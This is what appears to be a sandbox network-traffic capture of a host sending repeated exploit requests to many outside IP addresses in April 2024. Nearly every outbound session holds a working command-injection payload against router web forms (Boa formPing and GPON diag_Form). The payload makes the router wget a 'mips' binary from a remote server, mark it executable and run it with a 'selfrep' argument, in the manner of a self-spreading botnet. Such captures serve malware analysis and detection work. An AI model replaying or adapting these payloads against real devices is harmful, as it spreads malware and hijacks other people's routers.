Apr 15, 2024 08:53:43.776385069 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.13	39184	213.174.254.205	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.623716116 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.13	33142	213.180.9.63	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.623747110 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.13	52804	213.160.174.101	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.624891996 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.13	50104	213.7.230.149	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.658898115 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.13	44042	213.188.209.15	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.776441097 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.13	50486	34.195.41.222	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.911283970 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:27.127418995 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:27 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.13	60972	213.243.58.166	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.963219881 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.13	56472	144.178.92.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.974577904 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:27.260812998 CEST	388	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:27 GMT Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.13	33406	5.17.192.77	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.996771097 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:27.305916071 CEST	1289	IN	HTTP/1.1 411 Length Required Date: Mon, 15 Apr 2024 06:53:27 GMT Content-Type: text/html; charset=UTF-8 Server: gvs 1.0 Content-Length: 1564 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 31 31 20 28 4c 65 6e 67 74 68 20 52 65 71 75 69 72 65 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 411 (Length Required)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0
Apr 15, 2024 08:53:27.305953026 CEST	497	IN	Data Raw: 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f Data Ascii: }}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.13	33408	5.17.192.77	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.999712944 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:27.310955048 CEST	1289	IN	HTTP/1.1 411 Length Required Date: Mon, 15 Apr 2024 06:53:27 GMT Content-Type: text/html; charset=UTF-8 Server: gvs 1.0 Content-Length: 1564 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 31 31 20 28 4c 65 6e 67 74 68 20 52 65 71 75 69 72 65 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 411 (Length Required)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0
Apr 15, 2024 08:53:27.310992956 CEST	497	IN	Data Raw: 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f Data Ascii: }}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.13	54130	23.34.209.182	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.123668909 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:27.335170984 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:27 GMT Date: Mon, 15 Apr 2024 06:53:27 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 65 39 36 32 61 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 30 37 26 23 34 36 3b 38 35 31 36 61 37 31 66 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 65 39 36 32 61 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 30 37 26 23 34 36 3b 38 35 31 36 61 37 31 66 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2e962a17.1713164007.8516a71f<P>https://errors.edgesuite.net/9.2e962a17.1713164007.8516a71f</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.13	49058	138.201.206.179	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.228962898 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
